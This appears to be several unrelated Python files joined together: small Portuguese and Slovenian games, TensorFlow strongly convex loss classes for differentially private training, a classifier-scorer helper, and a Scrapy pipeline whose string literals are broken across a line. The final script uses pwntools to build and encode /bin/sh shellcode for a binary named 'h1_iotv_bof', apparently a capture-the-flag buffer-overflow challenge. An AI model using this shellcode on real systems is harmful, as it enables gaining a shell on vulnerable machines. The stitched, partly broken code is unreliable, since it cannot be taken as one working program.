if guess <= 5:
    print("YOU LOST")
    print("Random number is",number)


import random as rd

print('*=' * 17)
print('BEM-VINDO(A) AO JOGO JOKENPO !!!')
print('*=' * 17)

print("\n")
jogadorN = input('Qual o nome do jogador? ')
print("\n")

pontosMaq = 0
pontosJog = 0
while (pontosMaq <= 2) and (pontosJog <= 2):
    opcao = ('Pedra', 'Papel', 'Tesoura')
    maquina = rd.randint(0, 2)

    print("OPÇÕES PARA O JOGADOR")
    print("0 - PEDRA / 1 - PAPEL / 2 - TESOURA")
    jogadorOp = int(input(f'Qual opção você vai escolher? '))
    print("\n")

    print(f'{jogadorN} escolheu {opcao[jogadorOp]}')
    print(f'A máquina escolheu {opcao[maquina]} \n')

    if maquina == 0: # Máquina é pedra
        if jogadorOp == 0: # Jogador é pedra
            print("EMPATOU COM A MÁQUINA \n")
            pontosMaq += 0
            pontosJog += 0
        elif jogadorOp == 1: # Jogador é papel
            print(f"{jogadorN} GANHOU PARA A MÁQUINA. \n")
            pontosMaq += 0
            pontosJog += 1
        elif jogadorOp == 2: # Jogador é tesoura
            print(f"{jogadorN} PERDEU PARA A MÁQUINA. \n")
            pontosMaq += 1
            pontosJog += 0
        else:
            print('Número inválido!!')
    elif maquina == 1: # Máquina é papel
        if jogadorOp == 0: # Jogador é pedra
            print(f"{jogadorN} PEDEU PARA A MÁQUINA. \n")
            pontosMaq += 1
            pontosJog += 0
        elif jogadorOp == 1: # Jogador é papel
            print(f"EMPATOU COM A MÁQUINA \n")
            pontosMaq += 0
            pontosJog += 0
        elif jogadorOp == 2: # Jogador é tesoura
            print(f"{jogadorN} GANHOU PARA A MÁQUINA. \n")
            pontosMaq += 0
            pontosJog += 1
        else:
            print('Número inválido!!')
    elif maquina == 2: # Máquina é tesoura
        if jogadorOp == 0: # Jogador é pedra
            print(f"{jogadorN} GANHOU PARA A MÁQUINA. \n")
            pontosMaq += 0
            pontosJog += 1
        elif jogadorOp == 1: # Jogador é papel
            print(f"{jogadorN} PEDEU PARA A MÁQUINA. \n")
            pontosMaq += 1
            pontosJog += 0
        elif jogadorOp == 2: # Jogador é tesoura
            print("EMPATOU COM A MÁQUINA \n")
            pontosMaq += 0
            pontosJog += 0
        else:
            print('Número inválido!!')

    if (pontosJog == 2) and (pontosMaq == 0):
        print(f"ACABOU O JOGO 2X0 PARA {jogadorN}!!")
        break
    elif (pontosMaq == 2) and (pontosJog == 0):
        print(f"ACABOU O JOGO 2X0 PARA A MÁQUINA !!")
        break

    print(f'{jogadorN} : {pontosJog} X Máquina : {pontosMaq} \n')


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import tensorflow.compat.v1 as tf
from tensorflow.compat.v1.python.framework import ops as _ops
from tensorflow.compat.v1.python.keras import losses
from tensorflow.compat.v1.python.keras.regularizers import L1L2
from tensorflow.compat.v1.python.keras.utils import losses_utils
from tensorflow.compat.v1.python.platform import tf_logging as logging

class StrongConvexMixin:  # pylint: disable=old-style-class
  """Strong Convex Mixin base class.

  Strong Convex Mixin base class for any loss function that will be used with
  BoltOn model. Subclasses must be strongly convex and implement the
  associated constants. They must also conform to the requirements of tf losses
  (see super class).

  For more details on the strong convexity requirements, see:
  Bolt-on Differential Privacy for Scalable Stochastic Gradient
  Descent-based Analytics by Xi Wu et. al.
  """

  def radius(self):
    """Radius, R, of the hypothesis space W.

    W is a convex set that forms the hypothesis space.

    Returns:
      R
    """
    raise NotImplementedError("Radius not implemented for StrongConvex Loss"
                              "function: %s" % str(self.__class__.__name__))

  def gamma(self):
    """Returns strongly convex parameter, gamma."""
    raise NotImplementedError("Gamma not implemented for StrongConvex Loss"
                              "function: %s" % str(self.__class__.__name__))

  def beta(self, class_weight):
    """Smoothness, beta.

    Args:
      class_weight: the class weights as scalar or 1d tensor, where its
        dimensionality is equal to the number of outputs.

    Returns:
      Beta
    """
    raise NotImplementedError("Beta not implemented for StrongConvex Loss"
                              "function: %s" % str(self.__class__.__name__))

  def lipchitz_constant(self, class_weight):
    """Lipchitz constant, L.

    Args:
      class_weight: class weights used

    Returns: L
    """
    raise NotImplementedError("lipchitz constant not implemented for "
                              "StrongConvex Loss"
                              "function: %s" % str(self.__class__.__name__))

  def kernel_regularizer(self):
    """Returns the kernel_regularizer to be used.

    Any subclass should override this method if they want a kernel_regularizer
    (if required for the loss function to be StronglyConvex.
    """
    return None

  def max_class_weight(self, class_weight, dtype):
    """The maximum weighting in class weights (max value) as a scalar tensor.

    Args:
      class_weight: class weights used
      dtype: the data type for tensor conversions.

    Returns:
      maximum class weighting as tensor scalar
    """
    class_weight = _ops.convert_to_tensor_v2(class_weight, dtype)
    return tf.math.reduce_max(class_weight)

class StrongConvexHuber(losses.Loss, StrongConvexMixin):
  """Strong Convex version of Huber loss using l2 weight regularization."""

  def __init__(self,
               reg_lambda,
               c_arg,
               radius_constant,
               delta,
               reduction=losses_utils.ReductionV2.SUM_OVER_BATCH_SIZE,
               dtype=tf.float32):
    """Constructor.

    Args:
      reg_lambda: Weight regularization constant
      c_arg: Penalty parameter C of the loss term
      radius_constant: constant defining the length of the radius
      delta: delta value in huber loss.  When to switch from quadratic to
        absolute deviation.
      reduction: reduction type to use. See super class
      dtype: tf datatype to use for tensor conversions.

    Returns:
      Loss values per sample.
    """
    if c_arg <= 0:
      raise ValueError("c: {0}, should be >= 0".format(c_arg))
    if reg_lambda <= 0:
      raise ValueError("reg lambda: {0} must be positive".format(reg_lambda))
    if radius_constant <= 0:
      raise ValueError("radius_constant: {0}, should be >= 0".format(
          radius_constant
      ))
    if delta <= 0:
      raise ValueError("delta: {0}, should be >= 0".format(
          delta
      ))
    self.C = c_arg  # pylint: disable=invalid-name
    self.delta = delta
    self.radius_constant = radius_constant
    self.dtype = dtype
    self.reg_lambda = tf.constant(reg_lambda, dtype=self.dtype)
    super(StrongConvexHuber, self).__init__(
        name="strongconvexhuber",
        reduction=reduction,
    )

  def call(self, y_true, y_pred):
    """Computes loss.

    Args:
      y_true: Ground truth values. One hot encoded using -1 and 1.
      y_pred: The predicted values.

    Returns:
      Loss values per sample.
    """
    h = self.delta
    z = y_pred * y_true
    one = tf.constant(1, dtype=self.dtype)
    four = tf.constant(4, dtype=self.dtype)

    if z > one + h:  # pylint: disable=no-else-return
      return _ops.convert_to_tensor_v2(0, dtype=self.dtype)
    elif tf.math.abs(one - z) <= h:
      return one / (four * h) * tf.math.pow(one + h - z, 2)
    return one - z

  def radius(self):
    """See super class."""
    return self.radius_constant / self.reg_lambda

  def gamma(self):
    """See super class."""
    return self.reg_lambda

  def beta(self, class_weight):
    """See super class."""
    max_class_weight = self.max_class_weight(class_weight, self.dtype)
    delta = _ops.convert_to_tensor_v2(self.delta,
                                      dtype=self.dtype
                                     )
    return self.C * max_class_weight / (delta *
                                        tf.constant(2, dtype=self.dtype)) + \
           self.reg_lambda

  def lipchitz_constant(self, class_weight):
    """See super class."""
    # if class_weight is provided,
    # it should be a vector of the same size of number of classes
    max_class_weight = self.max_class_weight(class_weight, self.dtype)
    lc = self.C * max_class_weight + \
         self.reg_lambda * self.radius()
    return lc

  def kernel_regularizer(self):
    """Return l2 loss using 0.5*reg_lambda as the l2 term (as desired).

    L2 regularization is required for this loss function to be strongly convex.

    Returns:
      The L2 regularizer layer for this loss function, with regularizer constant
      set to half the 0.5 * reg_lambda.
    """
    return L1L2(l2=self.reg_lambda/2)

class StrongConvexBinaryCrossentropy(
    losses.BinaryCrossentropy,
    StrongConvexMixin
):
  """Strongly Convex BinaryCrossentropy loss using l2 weight regularization."""

  def __init__(self,
               reg_lambda,
               c_arg,
               radius_constant,
               from_logits=True,
               label_smoothing=0,
               reduction=losses_utils.ReductionV2.SUM_OVER_BATCH_SIZE,
               dtype=tf.float32):
    """StrongConvexBinaryCrossentropy class.

    Args:
      reg_lambda: Weight regularization constant
      c_arg: Penalty parameter C of the loss term
      radius_constant: constant defining the length of the radius
      from_logits: True if the input are unscaled logits. False if they are
        already scaled.
      label_smoothing: amount of smoothing to perform on labels
        relaxation of trust in labels, e.g. (1 -> 1-x, 0 -> 0+x). Note, the
        impact of this parameter's effect on privacy is not known and thus the
        default should be used.
      reduction: reduction type to use. See super class
      dtype: tf datatype to use for tensor conversions.
    """
    if label_smoothing != 0:
      logging.warning("The impact of label smoothing on privacy is unknown. "
                      "Use label smoothing at your own risk as it may not "
                      "guarantee privacy.")

    if reg_lambda <= 0:
      raise ValueError("reg lambda: {0} must be positive".format(reg_lambda))
    if c_arg <= 0:
      raise ValueError("c: {0}, should be >= 0".format(c_arg))
    if radius_constant <= 0:
      raise ValueError("radius_constant: {0}, should be >= 0".format(
          radius_constant
      ))
    self.dtype = dtype
    self.C = c_arg  # pylint: disable=invalid-name
    self.reg_lambda = tf.constant(reg_lambda, dtype=self.dtype)
    super(StrongConvexBinaryCrossentropy, self).__init__(
        reduction=reduction,
        name="strongconvexbinarycrossentropy",
        from_logits=from_logits,
        label_smoothing=label_smoothing,
    )
    self.radius_constant = radius_constant

  def call(self, y_true, y_pred):
    """Computes loss.

    Args:
      y_true: Ground truth values.
      y_pred: The predicted values.

    Returns:
      Loss values per sample.
    """
    loss = super(StrongConvexBinaryCrossentropy, self).call(y_true, y_pred)
    loss = loss * self.C
    return loss

  def radius(self):
    """See super class."""
    return self.radius_constant / self.reg_lambda

  def gamma(self):
    """See super class."""
    return self.reg_lambda

  def beta(self, class_weight):
    """See super class."""
    max_class_weight = self.max_class_weight(class_weight, self.dtype)
    return self.C * max_class_weight + self.reg_lambda

  def lipchitz_constant(self, class_weight):
    """See super class."""
    max_class_weight = self.max_class_weight(class_weight, self.dtype)
    return self.C * max_class_weight + self.reg_lambda * self.radius()

  def kernel_regularizer(self):
    """Return l2 loss using 0.5*reg_lambda as the l2 term (as desired).

    L2 regularization is required for this loss function to be strongly convex.

    Returns:
      The L2 regularizer layer for this loss function, with regularizer constant
      set to half the 0.5 * reg_lambda.
    """
    return L1L2(l2=self.reg_lambda/2)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Jul 15 21:12:26 2020

@author: em812
"""

import numpy as np
from inspect import isfunction, isclass

def _get_multi_sclassifscorers(scorer):
    if not isinstance(scorer, list):
        scorer = [scorer]

    score_dict = dict()

    for score in scorer:
        scorer_obj =  _get_classifscorer(score)
        score_dict[scorer_obj.name] = scorer_obj

    return score_dict

def _get_classifscorer(scorer):
    from tierpsytools.analysis.scorers import ClassifScorer

    if scorer is None:
        scorer = ClassifScorer(scorer='accuracy')
    elif isfunction(scorer):
        raise Exception('The scorer input must be a ClassifScorer object. '+
                        'Define a ClassifScorer object with the scorer '+
                        'function.')
    elif isinstance(scorer, str):
        scorer = ClassifScorer(scorer=scorer)
    elif not isclass(type(ClassifScorer())):
        raise Exception('scorer input not recognised. The scorer must be a '+
                        'ClassifScorer object or None.')
    return scorer

def _get_pred_from_probas(probas, labels):
    pred = [labels[maxind] for maxind in np.argmax(probas, axis=1)]
    pred = np.array(pred)
    return pred


#    _____
#   |/   |
#   |    o
#   |   /|\
#   |   / \
#  _|_______

import random, json

LOGO = r'''
____   ____.__       .__  .__
\   \ /   /|__| _____|  | |__| ____  ____
 \   Y   / |  |/  ___/  | |  |/ ___\/ __ \
  \     /  |  |\___ \|  |_|  \  \__\  ___/
   \___/   |__/______>____/__|\_____>_____>

'''

# Potrebno le, če je v urejevalniku odprt višji path.
#import random
#os.chdir('UvP/Vislice')

STEVILO_DOVOLJENIH_NAPAK = 10

# Konstanta Igre ob začetku igre
ZACETEK = 'Z'

# Konstante za rezultate ugibanj
PRAVILNA_CRKA = '+'
PONOVLJENA_CRKA = 'o'
NAPACNA_CRKA = '-'

# Konstante za zmago in poraz
ZMAGA = 'W'
PORAZ = 'X'

class Igra:
    def __init__(self, geslo, crke=None):
        self.geslo = geslo
        if crke is None:
            self.crke = []
        else:
            self.crke = [c.lower() for c in crke]

    def napacne_crke(self):
        '''vrne seznam napačnih ugibanj igralca'''
        return [c.upper() for c in self.crke if c not in self.geslo]

    def pravilne_crke(self):
        '''vrne seznam pravilnih ugibanj igralca'''
        return [c for c in self.crke if c in self.geslo]

    def stevilo_napak(self):
        '''izračuna koliko napačnih ugibov je igralec že naredil'''
        return len(self.napacne_crke())

    def je_zmaga(self):
        return all(c in self.crke for c in self.geslo)

    def je_poraz(self):
        return self.stevilo_napak() > STEVILO_DOVOLJENIH_NAPAK

    def pravilni_del_gesla(self):
        '''vrne niz z že uganjenim delom gesla, tako da neznane črke zamenja s podčrtajem'''
        rtr = ''
        for crka in self.geslo:
            if crka in self.crke:
                rtr += crka.upper() + ' '
            else:
                rtr += '_ '

        return rtr[:-1]

    def nepravilni_ugibi(self):
        '''vrne niz, ki vsebuje s presledkom ločene nepravilne ugibe igralca'''
        return ' '.join(self.napacne_crke())

    def ugibaj(self, ugibana_crka):
        '''vrne primernega od PRAVILNA_CRKA, PONOVLJENA_CRKA, NAPACNA_CRKA, ZMAGA, PORAZ'''
        ugibana_crka = ugibana_crka.lower()
        if ugibana_crka in self.crke:
            return PONOVLJENA_CRKA

        self.crke.append(ugibana_crka)

        if ugibana_crka in self.geslo:
            if self.je_zmaga():
                return ZMAGA
            else:
                return PRAVILNA_CRKA
        else:
            if self.je_poraz():
                return PORAZ
            else:
                return NAPACNA_CRKA

    def stevilo_pravilnih_crk_s_ponovitvami(self):
        stevec = 0
        for crka in self.geslo:
            if crka in self.crke:
                stevec += 1
            else:
                pass
        return stevec

class Vislice:
    '''
    Skrbi za trenutno stanje VEČ iger (imel bo več objektov tipa Igra)
    '''
    def __init__(self, datoteka_s_stanjem, datoteka_z_besedami='besede.txt'):
        # Slovar, ki ID-ju priredi objekt njegove igre
        self.igre = {}  #    str(int) --> (Igra, stanje)
        self.datoteka_s_stanjem = datoteka_s_stanjem
        self.datoteka_z_besedami = datoteka_z_besedami

    def prosti_id_igre(self):
        '''Vrne nek ID, ki ga ne uporablja nobena igra'''
        if not self.igre:
            return str(0)
        else:
            return str(max([int(id) for id in self.igre.keys()]) + 1)

    def nova_igra(self):
        self.nalozi_igre_iz_datoteke()

        # Zgradimo bazen besed iz datoteke z besedami
        with open(self.datoteka_z_besedami, 'r', encoding='utf-8') as in_file:
            bazen_besed = [beseda.strip().lower() for beseda in in_file]

        # Dobimo svež ID
        nov_id = self.prosti_id_igre()

        # Naredimo novo igro
        sveza_igra = Igra(random.choice(bazen_besed))

        # Vse to shranimo v self.igre
        self.igre[nov_id] = sveza_igra, ZACETEK

        self.zapisi_igre_v_datoteko()

        # Vrnemo nov ID
        return nov_id

    def ugibaj(self, id_igre, crka):
        self.nalozi_igre_iz_datoteke()

        # Dobimo staro igro ven
        trenutna_igra, _ = self.igre[id_igre]

        # Ugibamo crko
        novo_stanje = trenutna_igra.ugibaj(crka)

        # Zapišemo posodobljeno stanje in igro nazaj v 'BAZO'
        self.igre[id_igre] = (trenutna_igra, novo_stanje)

        self.zapisi_igre_v_datoteko()

    def zapisi_igre_v_datoteko(self):
        # {  id_igre : (  (  geslo,    ugibane_crke ),   stanje   )  }
        # {    '1'   : (  ( 'balkon',   'asdfghjl'  ),     '+'    )  }

        igre1 = {
            id_igre : ((igra.geslo, igra.crke), poskus)
            for id_igre, (igra, poskus) in self.igre.items()
            #   id_igre, (Igra, poskus)
        }

        with open(self.datoteka_s_stanjem, 'w', encoding='utf-8') as out_file:
            json.dump(igre1, out_file, ensure_ascii=False)

    def nalozi_igre_iz_datoteke(self):
        with open(self.datoteka_s_stanjem, 'r', encoding='utf-8') as in_file:
            igre_iz_diska = json.load(in_file)

        self.igre = {
            id_igre: (Igra(geslo, crke), poskus)
            for id_igre, ((geslo, crke), poskus) in igre_iz_diska.items()
        }

# Za statistiko
def odstotek(stevec, imenovalec):
    return round((stevec / imenovalec) * 100)

def statistika(datoteka_s_stanjem):
    slovar_statistik = {}
    vislice = Vislice(datoteka_s_stanjem)
    vislice.nalozi_igre_iz_datoteke()

    stevilo_iger = len(vislice.igre.keys())
    slovar_statistik['stevilo_iger'] = stevilo_iger

    if stevilo_iger:
        stevilo_zmag = sum([1 if poskus == ZMAGA else 0 for _, poskus in vislice.igre.values()])
        slovar_statistik['odstotek_zmag'] = f'{odstotek(stevilo_zmag, stevilo_iger)}%'

        stevilo_porazov = sum([1 if poskus == PORAZ else 0 for _, poskus in vislice.igre.values()])
        slovar_statistik['odstotek_porazov'] = f'{odstotek(stevilo_porazov, stevilo_iger)}%'

        stevilo_nedokoncnih_iger = stevilo_iger - stevilo_zmag - stevilo_porazov
        slovar_statistik['odstotek_nedokoncanih_iger'] = f'{odstotek(stevilo_nedokoncnih_iger, stevilo_iger)}%'

        najdaljse_uganjeno_geslo = max([igra.geslo if poskus == ZMAGA else '' for igra, poskus in vislice.igre.values()], key=len)
        slovar_statistik['najdaljse_uganjeno_geslo'] = najdaljse_uganjeno_geslo

        odstotki_uganjenih_crk = [odstotek(igra.stevilo_pravilnih_crk_s_ponovitvami(), len(igra.geslo)) for igra, _ in vislice.igre.values()]
        slovar_statistik['povprecen_odstotek_uganjenih_crk'] = f'{round(sum(odstotki_uganjenih_crk) / len(odstotki_uganjenih_crk), 1)}%'

    return slovar_statistik


# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html

# useful for handling different item types with a single interface
from itemadapter import ItemAdapter
import re

class PhysicianPipeline:
    def process_item(self, item, spider):
        # if item['Title']:
        #     item['Title'] = item['Title'].upper()
        if item['Comments']:
            item['Comments'] = [x.strip() for x in item['Comments']]
        if item['Content']:
            item['Content'] = ' '.join([x for x in item['Content']])

            start = item['Content'].find('')
            ending = item['Content'].find('
')

            item['Content'] = item['Content'][start:ending]
            pattern = re.compile('</*[ap]>')
            item['Content'] = re.sub(pattern, '', item['Content'])

        return item


from pwn import *

context.binary = "./h1_iotv_bof"

pay = pwnlib.encoders.encode(asm(shellcraft.sh()), "\x00\x09\x0a\x0d")

ret = ""
for i in range(len(pay)):
  ret += "\\x" + hex(ord(pay[i]))[2:].rjust(2, "0")

print(ret)